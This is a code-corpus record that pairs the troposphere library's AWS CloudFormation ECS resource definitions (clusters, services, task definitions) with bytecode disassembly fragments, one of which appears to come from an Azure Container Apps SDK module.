LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Cluster', 'ExternalId', 'LaunchType', 'LoadBalancers', 'NetworkConfiguration', 'PlatformVersion', 'Scale', 'Service', 'ServiceRegistries', 'TaskDefinition') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE
from . import AWSObject, AWSProperty, PropsDictType, Tags from .validators import boolean, double, integer from .validators.ecs import LAUNCH_TYPE_EC2 # noqa: F401 from .validators.ecs import LAUNCH_TYPE_FARGATE # noqa: F401 from .validators.ecs import RUNTIME_PLATFORM_CPU_CONFIGURATIONS # noqa: F401 from .validators.ecs import RUNTIME_PLATFORM_OS_FAMILY # noqa: F401 from .validators.ecs import SCHEDULING_STRATEGY_DAEMON # noqa: F401 from .validators.ecs import SCHEDULING_STRATEGY_REPLICA # noqa: F401 from .validators.ecs import ( ecs_efs_encryption_status, ecs_proxy_type, launch_type_validator, placement_constraint_validator, placement_strategy_validator, scope_validator, validate_ephemeral_storage_size, validate_network_port, validate_runtime_platform, validate_scaling_step_size, validate_target_capacity, validate_transit_encryption_port, ) class ManagedScaling(AWSProperty): """ `ManagedScaling <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-capacityprovider-managedscaling.html>`__ """ props: PropsDictType = { "InstanceWarmupPeriod": (integer, False), "MaximumScalingStepSize": (validate_scaling_step_size, False), "MinimumScalingStepSize": (validate_scaling_step_size, False), "Status": (str, False), "TargetCapacity": (validate_target_capacity, False), } class AutoScalingGroupProvider(AWSProperty): """ `AutoScalingGroupProvider <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-capacityprovider-autoscalinggroupprovider.html>`__ """ props: PropsDictType = { "AutoScalingGroupArn": (str, True), "ManagedDraining": (str, False), "ManagedScaling": (ManagedScaling, False), "ManagedTerminationProtection": (str, False), } class CapacityProvider(AWSObject): """ `CapacityProvider <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-capacityprovider.html>`__ """ resource_type = "AWS::ECS::CapacityProvider" props: PropsDictType = { "AutoScalingGroupProvider": (AutoScalingGroupProvider, True), "Name": (str, False), "Tags": (Tags, False), } class CapacityProviderStrategyItem(AWSProperty): """ `CapacityProviderStrategyItem <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-capacityproviderstrategyitem.html>`__ """ props: PropsDictType = { "Base": (integer, False), "CapacityProvider": (str, False), "Weight": (integer, False), } class ExecuteCommandLogConfiguration(AWSProperty): """ `ExecuteCommandLogConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-executecommandlogconfiguration.html>`__ """ props: PropsDictType = { "CloudWatchEncryptionEnabled": (boolean, False), "CloudWatchLogGroupName": (str, False), "S3BucketName": (str, False), "S3EncryptionEnabled": (boolean, False), "S3KeyPrefix": (str, False), } class ExecuteCommandConfiguration(AWSProperty): """ `ExecuteCommandConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-executecommandconfiguration.html>`__ """ props: PropsDictType = { "KmsKeyId": (str, False), "LogConfiguration": (ExecuteCommandLogConfiguration, False), "Logging": (str, False), } class ClusterConfiguration(AWSProperty): """ `ClusterConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-clusterconfiguration.html>`__ """ props: PropsDictType = { "ExecuteCommandConfiguration": (ExecuteCommandConfiguration, False), } class ClusterSetting(AWSProperty): """ `ClusterSetting <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-clustersettings.html>`__ """ props: PropsDictType = { "Name": (str, False), "Value": (str, False), } class ServiceConnectDefaults(AWSProperty): """ `ServiceConnectDefaults <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-serviceconnectdefaults.html>`__ """ props: PropsDictType = { "Namespace": (str, False), } class Cluster(AWSObject): """ `Cluster <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-cluster.html>`__ """ resource_type = "AWS::ECS::Cluster" props: PropsDictType = { "CapacityProviders": ([str], False), "ClusterName": (str, False), "ClusterSettings": ([ClusterSetting], False), "Configuration": (ClusterConfiguration, False), "DefaultCapacityProviderStrategy": ([CapacityProviderStrategyItem], False), "ServiceConnectDefaults": (ServiceConnectDefaults, False), "Tags": (Tags, False), } class CapacityProviderStrategy(AWSProperty): """ `CapacityProviderStrategy <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-clustercapacityproviderassociations-capacityproviderstrategy.html>`__ """ props: PropsDictType = { "Base": (integer, False), "CapacityProvider": (str, True), "Weight": (integer, False), } class ClusterCapacityProviderAssociations(AWSObject): """ `ClusterCapacityProviderAssociations <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-clustercapacityproviderassociations.html>`__ """ resource_type = "AWS::ECS::ClusterCapacityProviderAssociations" props: PropsDictType = { "CapacityProviders": ([str], True), "Cluster": (str, True), "DefaultCapacityProviderStrategy": ([CapacityProviderStrategy], True), } class PrimaryTaskSet(AWSObject): """ `PrimaryTaskSet <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-primarytaskset.html>`__ """ resource_type = "AWS::ECS::PrimaryTaskSet" props: PropsDictType = { "Cluster": (str, True), "Service": (str, True), "TaskSetId": (str, True), } class DeploymentAlarms(AWSProperty): """ `DeploymentAlarms <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentalarms.html>`__ """ props: PropsDictType = { "AlarmNames": ([str], True), "Enable": (boolean, True), "Rollback": (boolean, True), } class DeploymentCircuitBreaker(AWSProperty): """ `DeploymentCircuitBreaker <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentcircuitbreaker.html>`__ """ props: PropsDictType = { "Enable": (boolean, True), "Rollback": (boolean, True), } class DeploymentConfiguration(AWSProperty): """ `DeploymentConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentconfiguration.html>`__ """ props: PropsDictType = { "Alarms": (DeploymentAlarms, False), "DeploymentCircuitBreaker": (DeploymentCircuitBreaker, False), "MaximumPercent": (integer, False), "MinimumHealthyPercent": (integer, False), } class DeploymentController(AWSProperty): """ `DeploymentController <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentcontroller.html>`__ """ props: PropsDictType = { "Type": (str, False), } class LoadBalancer(AWSProperty): """ `LoadBalancer <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-loadbalancer.html>`__ """ props: PropsDictType = { "ContainerName": (str, False), "ContainerPort": (validate_network_port, False), "LoadBalancerName": (str, False), "TargetGroupArn": (str, False), } class AwsvpcConfiguration(AWSProperty): """ `AwsvpcConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-awsvpcconfiguration.html>`__ """ props: PropsDictType = { "AssignPublicIp": (str, False), "SecurityGroups": ([str], False), "Subnets": ([str], False), } class NetworkConfiguration(AWSProperty): """ `NetworkConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-networkconfiguration.html>`__ """ props: PropsDictType = { "AwsvpcConfiguration": (AwsvpcConfiguration, False), } class PlacementConstraint(AWSProperty): """ `PlacementConstraint <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-taskdefinitionplacementconstraint.html>`__ """ props: PropsDictType = { "Expression": (str, False), "Type": (placement_constraint_validator, True), } class PlacementStrategy(AWSProperty): """ `PlacementStrategy <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-placementstrategy.html>`__ """ props: PropsDictType = { "Field": (str, False), "Type": (placement_strategy_validator, True), } class Secret(AWSProperty): """ `Secret <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-secret.html>`__ """ props: PropsDictType = { "Name": (str, True), "ValueFrom": (str, True), } class LogConfiguration(AWSProperty): """ `LogConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-logconfiguration.html>`__ """ props: PropsDictType = { "LogDriver": (str, True), "Options": (dict, False), "SecretOptions": ([Secret], False), } class ServiceConnectClientAlias(AWSProperty): """ `ServiceConnectClientAlias <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnectclientalias.html>`__ """ props: PropsDictType = { "DnsName": (str, False), "Port": (integer, True), } class ServiceConnectTlsCertificateAuthority(AWSProperty): """ `ServiceConnectTlsCertificateAuthority <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnecttlscertificateauthority.html>`__ """ props: PropsDictType = { "AwsPcaAuthorityArn": (str, False), } class ServiceConnectTlsConfiguration(AWSProperty): """ `ServiceConnectTlsConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnecttlsconfiguration.html>`__ """ props: PropsDictType = { "IssuerCertificateAuthority": (ServiceConnectTlsCertificateAuthority, True), "KmsKey": (str, False), "RoleArn": (str, False), } class TimeoutConfiguration(AWSProperty): """ `TimeoutConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-timeoutconfiguration.html>`__ """ props: PropsDictType = { "IdleTimeoutSeconds": (integer, False), "PerRequestTimeoutSeconds": (integer, False), } class ServiceConnectService(AWSProperty): """ `ServiceConnectService <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnectservice.html>`__ """ props: PropsDictType = { "ClientAliases": ([ServiceConnectClientAlias], False), "DiscoveryName": (str, False), "IngressPortOverride": (integer, False), "PortName": (str, True), "Timeout": (TimeoutConfiguration, False), "Tls": (ServiceConnectTlsConfiguration, False), } class ServiceConnectConfiguration(AWSProperty): """ `ServiceConnectConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnectconfiguration.html>`__ """ props: PropsDictType = { "Enabled": (boolean, True), "LogConfiguration": (LogConfiguration, False), "Namespace": (str, False), "Services": ([ServiceConnectService], False), } class ServiceRegistry(AWSProperty): """ `ServiceRegistry <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskset-serviceregistry.html>`__ """ props: PropsDictType = { "ContainerName": (str, False), "ContainerPort": (integer, False), "Port": (integer, False), "RegistryArn": (str, False), } class EBSTagSpecification(AWSProperty): """ `EBSTagSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-ebstagspecification.html>`__ """ props: PropsDictType = { "PropagateTags": (str, False), "ResourceType": (str, True), "Tags": (Tags, False), } class ServiceManagedEBSVolumeConfiguration(AWSProperty): """ `ServiceManagedEBSVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-servicemanagedebsvolumeconfiguration.html>`__ """ props: PropsDictType = { "Encrypted": (boolean, False), "FilesystemType": (str, False), "Iops": (integer, False), "KmsKeyId": (str, False), "RoleArn": (str, True), "SizeInGiB": (integer, False), "SnapshotId": (str, False), "TagSpecifications": ([EBSTagSpecification], False), "Throughput": (integer, False), "VolumeType": (str, False), } class ServiceVolumeConfiguration(AWSProperty): """ `ServiceVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-servicevolumeconfiguration.html>`__ """ props: PropsDictType = { "ManagedEBSVolume": (ServiceManagedEBSVolumeConfiguration, False), "Name": (str, True), } class Service(AWSObject): """ `Service <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-service.html>`__ """ resource_type = "AWS::ECS::Service" props: PropsDictType = { "CapacityProviderStrategy": ([CapacityProviderStrategyItem], False), "Cluster": (str, False), "DeploymentConfiguration": (DeploymentConfiguration, False), "DeploymentController": (DeploymentController, False), "DesiredCount": (integer, False), "EnableECSManagedTags": (boolean, False), "EnableExecuteCommand": (boolean, False), "HealthCheckGracePeriodSeconds": (integer, False), "LaunchType": (launch_type_validator, False), "LoadBalancers": ([LoadBalancer], False), "NetworkConfiguration": (NetworkConfiguration, False), "PlacementConstraints": ([PlacementConstraint], False), "PlacementStrategies": ([PlacementStrategy], False), "PlatformVersion": (str, False), "PropagateTags": (str, False), "Role": (str, False), "SchedulingStrategy": (str, False), "ServiceConnectConfiguration": (ServiceConnectConfiguration, False), "ServiceName": (str, False), "ServiceRegistries": ([ServiceRegistry], False), "Tags": (Tags, False), "TaskDefinition": (str, False), "VolumeConfigurations": ([ServiceVolumeConfiguration], False), } class ContainerDependency(AWSProperty): """ `ContainerDependency <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-containerdependency.html>`__ """ props: PropsDictType = { "Condition": (str, False), "ContainerName": (str, False), } class Environment(AWSProperty): """ `Environment <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-keyvaluepair.html>`__ """ props: PropsDictType = { "Name": (str, False), "Value": (str, False), } class EnvironmentFile(AWSProperty): """ `EnvironmentFile <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-environmentfile.html>`__ """ props: PropsDictType = { "Type": (str, False), "Value": (str, False), } class FirelensConfiguration(AWSProperty): """ `FirelensConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-firelensconfiguration.html>`__ """ props: PropsDictType = { "Options": (dict, False), "Type": (str, False), } class HealthCheck(AWSProperty): """ `HealthCheck <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-healthcheck.html>`__ """ props: PropsDictType = { "Command": ([str], False), "Interval": (integer, False), "Retries": (integer, False), "StartPeriod": (integer, False), "Timeout": (integer, False), } class HostEntry(AWSProperty): """ `HostEntry <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-hostentry.html>`__ """ props: PropsDictType = { "Hostname": (str, False), "IpAddress": (str, False), } class Device(AWSProperty): """ `Device <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-device.html>`__ """ props: PropsDictType = { "ContainerPath": (str, False), "HostPath": (str, False), "Permissions": ([str], False), } class KernelCapabilities(AWSProperty): """ `KernelCapabilities <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-kernelcapabilities.html>`__ """ props: PropsDictType = { "Add": ([str], False), "Drop": ([str], False), } class Tmpfs(AWSProperty): """ `Tmpfs <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-tmpfs.html>`__ """ props: PropsDictType = { "ContainerPath": (str, False), "MountOptions": ([str], False), "Size": (integer, True), } class LinuxParameters(AWSProperty): """ `LinuxParameters <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-linuxparameters.html>`__ """ props: PropsDictType = { "Capabilities": (KernelCapabilities, False), "Devices": ([Device], False), "InitProcessEnabled": (boolean, False), "MaxSwap": (integer, False), "SharedMemorySize": (integer, False), "Swappiness": (integer, False), "Tmpfs": ([Tmpfs], False), } class MountPoint(AWSProperty): """ `MountPoint <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-mountpoint.html>`__ """ props: PropsDictType = { "ContainerPath": (str, False), "ReadOnly": (boolean, False), "SourceVolume": (str, False), } class PortMapping(AWSProperty): """ `PortMapping <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-portmapping.html>`__ """ props: PropsDictType = { "AppProtocol": (str, False), "ContainerPort": (validate_network_port, False), "ContainerPortRange": (str, False), "HostPort": (validate_network_port, False), "Name": (str, False), "Protocol": (str, False), } class RepositoryCredentials(AWSProperty): """ `RepositoryCredentials <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-repositorycredentials.html>`__ """ props: PropsDictType = { "CredentialsParameter": (str, False), } class ResourceRequirement(AWSProperty): """ `ResourceRequirement <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-resourcerequirement.html>`__ """ props: PropsDictType = { "Type": (str, True), "Value": (str, True), } class SystemControl(AWSProperty): """ `SystemControl <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-systemcontrol.html>`__ """ props: PropsDictType = { "Namespace": (str, False), "Value": (str, False), } class Ulimit(AWSProperty): """ `Ulimit <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-ulimit.html>`__ """ props: PropsDictType = { "HardLimit": (integer, True), "Name": (str, True), "SoftLimit": (integer, True), } class VolumesFrom(AWSProperty): """ `VolumesFrom <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-volumefrom.html>`__ """ props: PropsDictType = { "ReadOnly": (boolean, False), "SourceContainer": (str, False), } class ContainerDefinition(AWSProperty): """ `ContainerDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-containerdefinition.html>`__ """ props: PropsDictType = { "Command": ([str], False), "Cpu": (integer, False), "DependsOn": ([ContainerDependency], False), "DisableNetworking": (boolean, False), "DnsSearchDomains": ([str], False), "DnsServers": ([str], False), "DockerLabels": (dict, False), "DockerSecurityOptions": ([str], False), "EntryPoint": ([str], False), "Environment": ([Environment], False), "EnvironmentFiles": ([EnvironmentFile], False), "Essential": (boolean, False), "ExtraHosts": ([HostEntry], False), "FirelensConfiguration": (FirelensConfiguration, False), "HealthCheck": (HealthCheck, False), "Hostname": (str, False), "Image": (str, True), "Interactive": (boolean, False), "Links": ([str], False), "LinuxParameters": (LinuxParameters, False), "LogConfiguration": (LogConfiguration, False), "Memory": (integer, False), "MemoryReservation": (integer, False), "MountPoints": ([MountPoint], False), "Name": (str, True), "PortMappings": ([PortMapping], False), "Privileged": (boolean, False), "PseudoTerminal": (boolean, False), "ReadonlyRootFilesystem": (boolean, False), "RepositoryCredentials": (RepositoryCredentials, False), "ResourceRequirements": ([ResourceRequirement], False), "Secrets": ([Secret], False), "StartTimeout": (integer, False), "StopTimeout": (integer, False), "SystemControls": ([SystemControl], False), "Ulimits": ([Ulimit], False), "User": (str, False), "VolumesFrom": ([VolumesFrom], False), "WorkingDirectory": (str, False), } class EphemeralStorage(AWSProperty): """ `EphemeralStorage <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-ephemeralstorage.html>`__ """ props: PropsDictType = { "SizeInGiB": (validate_ephemeral_storage_size, False), } class InferenceAccelerator(AWSProperty): """ `InferenceAccelerator <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-inferenceaccelerator.html>`__ """ props: PropsDictType = { "DeviceName": (str, False), "DeviceType": (str, False), } class ProxyConfiguration(AWSProperty): """ `ProxyConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-proxyconfiguration.html>`__ """ props: PropsDictType = { "ContainerName": (str, True), "ProxyConfigurationProperties": (list, False), "Type": (ecs_proxy_type, False), } class RuntimePlatform(AWSProperty): """ `RuntimePlatform <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-runtimeplatform.html>`__ """ props: PropsDictType = { "CpuArchitecture": (str, False), "OperatingSystemFamily": (str, False), } def validate(self): validate_runtime_platform(self) class DockerVolumeConfiguration(AWSProperty): """ `DockerVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-dockervolumeconfiguration.html>`__ """ props: PropsDictType = { "Autoprovision": (boolean, False), "Driver": (str, False), "DriverOpts": (dict, False), "Labels": (dict, False), "Scope": (scope_validator, False), } class AuthorizationConfig(AWSProperty): """ `AuthorizationConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-authorizationconfig.html>`__ """ props: PropsDictType = { "AccessPointId": (str, False), "IAM": (str, False), } class EFSVolumeConfiguration(AWSProperty): """ `EFSVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-efsvolumeconfiguration.html>`__ """ props: PropsDictType = { "AuthorizationConfig": (AuthorizationConfig, False), "FilesystemId": (str, True), "RootDirectory": (str, False), "TransitEncryption": (ecs_efs_encryption_status, False), "TransitEncryptionPort": (validate_transit_encryption_port, False), } class Host(AWSProperty): """ `Host <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-hostvolumeproperties.html>`__ """ props: PropsDictType = { "SourcePath": (str, False), } class Volume(AWSProperty): """ `Volume <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-volume.html>`__ """ props: PropsDictType = { "ConfiguredAtLaunch": (boolean, False), "DockerVolumeConfiguration": (DockerVolumeConfiguration, False), "EFSVolumeConfiguration": (EFSVolumeConfiguration, False), "Host": (Host, False), "Name": (str, False), } class TaskDefinition(AWSObject): """ `TaskDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-taskdefinition.html>`__ """ resource_type = "AWS::ECS::TaskDefinition" props: PropsDictType = { "ContainerDefinitions": ([ContainerDefinition], False), "Cpu": (str, False), "EphemeralStorage": (EphemeralStorage, False), "ExecutionRoleArn": (str, False), "Family": (str, False), "InferenceAccelerators": ([InferenceAccelerator], False), "IpcMode": (str, False), "Memory": (str, False), "NetworkMode": (str, False), "PidMode": (str, False), "PlacementConstraints": ([PlacementConstraint], False), "ProxyConfiguration": (ProxyConfiguration, False), "RequiresCompatibilities": ([str], False), "RuntimePlatform": (RuntimePlatform, False), "Tags": (Tags, False), "TaskRoleArn": (str, False), "Volumes": ([Volume], False), } class Scale(AWSProperty): """ `Scale <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskset-scale.html>`__ """ props: PropsDictType = { "Unit": (str, False), "Value": (double, False), } class TaskSet(AWSObject): """ `TaskSet <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-taskset.html>`__ """ resource_type = "AWS::ECS::TaskSet" props: PropsDictType = { "Cluster": (str, True), "ExternalId": (str, False), "LaunchType": (str, False), "LoadBalancers": ([LoadBalancer], False), "NetworkConfiguration": (NetworkConfiguration, False), "PlatformVersion": (str, False), "Scale": (Scale, False), "Service": (str, True), "ServiceRegistries": ([ServiceRegistry], False), "TaskDefinition": (str, True), }
data/troposphere-4.6.0/troposphere/ecs.py
16,802
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LOAD_CONST 0 LOAD_CONST ('IOBase',) IMPORT_NAME io IMPORT_FROM IOBase STORE_NAME IOBase POP_TOP LOAD_CONST 0 LOAD_CONST ('Any', 'Callable', 'Dict', 'IO', 'Iterable', 'Optional', 'TypeVar', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Callable STORE_NAME Callable IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM IO STORE_NAME IO IMPORT_FROM Iterable STORE_NAME Iterable IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM TypeVar STORE_NAME TypeVar IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME urllib.parse STORE_NAME urllib LOAD_CONST 0 LOAD_CONST ('ClientAuthenticationError', 'HttpResponseError', 'ResourceExistsError', 'ResourceNotFoundError', 'ResourceNotModifiedError', 'map_error') IMPORT_NAME azure.core.exceptions IMPORT_FROM ClientAuthenticationError STORE_NAME ClientAuthenticationError IMPORT_FROM HttpResponseError STORE_NAME HttpResponseError IMPORT_FROM ResourceExistsError STORE_NAME ResourceExistsError IMPORT_FROM ResourceNotFoundError STORE_NAME ResourceNotFoundError IMPORT_FROM ResourceNotModifiedError STORE_NAME ResourceNotModifiedError IMPORT_FROM map_error STORE_NAME map_error POP_TOP LOAD_CONST 0 LOAD_CONST ('ItemPaged',) IMPORT_NAME azure.core.paging IMPORT_FROM ItemPaged STORE_NAME ItemPaged POP_TOP LOAD_CONST 0 LOAD_CONST ('PipelineResponse',) IMPORT_NAME azure.core.pipeline IMPORT_FROM PipelineResponse STORE_NAME PipelineResponse POP_TOP LOAD_CONST 0 LOAD_CONST ('HttpResponse',) IMPORT_NAME azure.core.pipeline.transport IMPORT_FROM HttpResponse STORE_NAME HttpResponse POP_TOP LOAD_CONST 0 LOAD_CONST ('HttpRequest',) IMPORT_NAME azure.core.rest IMPORT_FROM HttpRequest STORE_NAME HttpRequest POP_TOP LOAD_CONST 0 LOAD_CONST ('distributed_trace',) IMPORT_NAME azure.core.tracing.decorator IMPORT_FROM distributed_trace STORE_NAME distributed_trace POP_TOP LOAD_CONST 0 LOAD_CONST ('case_insensitive_dict',) IMPORT_NAME azure.core.utils IMPORT_FROM case_insensitive_dict STORE_NAME case_insensitive_dict POP_TOP LOAD_CONST 0 LOAD_CONST ('ARMErrorFormat',) IMPORT_NAME azure.mgmt.core.exceptions IMPORT_FROM ARMErrorFormat STORE_NAME ARMErrorFormat POP_TOP LOAD_CONST 2 LOAD_CONST ('models',) IMPORT_NAME IMPORT_FROM models STORE_NAME _models POP_TOP LOAD_CONST 2 LOAD_CONST ('Serializer',) IMPORT_NAME _serialization IMPORT_FROM Serializer STORE_NAME Serializer POP_TOP LOAD_CONST 2 LOAD_CONST ('ContainerAppsAPIClientMixinABC', '_convert_request') IMPORT_NAME _vendor IMPORT_FROM ContainerAppsAPIClientMixinABC STORE_NAME ContainerAppsAPIClientMixinABC IMPORT_FROM _convert_request STORE_NAME _convert_request POP_TOP LOAD_NAME TypeVar LOAD_CONST 'T' CALL_FUNCTION STORE_NAME T LOAD_NAME Optional LOAD_NAME Callable LOAD_NAME PipelineResponse LOAD_NAME HttpRequest LOAD_NAME HttpResponse BUILD_TUPLE BINARY_SUBSCR LOAD_NAME T LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR STORE_NAME ClsType LOAD_NAME Serializer CALL_FUNCTION STORE_NAME _SERIALIZER LOAD_CONST False LOAD_NAME _SERIALIZER STORE_ATTR client_side_validation LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME HttpRequest LOAD_CONST ('resource_group_name', 'connected_environment_name', 'subscription_id', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_list_request at 0x7fab42122930, file "f.py", line 34> LOAD_CONST 'build_list_request' MAKE_FUNCTION STORE_NAME build_list_request LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME HttpRequest LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_get_request at 0x7fab421229c0, file "f.py", line 79> LOAD_CONST 'build_get_request' MAKE_FUNCTION STORE_NAME build_get_request LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME HttpRequest LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_create_or_update_request at 0x7fab421221e0, file "f.py", line 126> LOAD_CONST 'build_create_or_update_request' MAKE_FUNCTION STORE_NAME build_create_or_update_request LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME HttpRequest LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_delete_request at 0x7fab421224b0, file "f.py", line 180> LOAD_CONST 'build_delete_request' MAKE_FUNCTION STORE_NAME build_delete_request LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME HttpRequest LOAD_CONST ('resource_group_name', 'connected_environment_name', 'component_name', 'subscription_id', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_list_secrets_request at 0x7fab42122420, file "f.py", line 227> LOAD_CONST 'build_list_secrets_request' MAKE_FUNCTION STORE_NAME build_list_secrets_request LOAD_BUILD_CLASS LOAD_CONST <code object ConnectedEnvironmentsDaprComponentsOperations at 0x7fab7016f9c0, file "f.py", line 274> LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations' MAKE_FUNCTION LOAD_CONST 'ConnectedEnvironmentsDaprComponentsOperations' CALL_FUNCTION STORE_NAME ConnectedEnvironmentsDaprComponentsOperations LOAD_CONST None RETURN_VALUE LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop 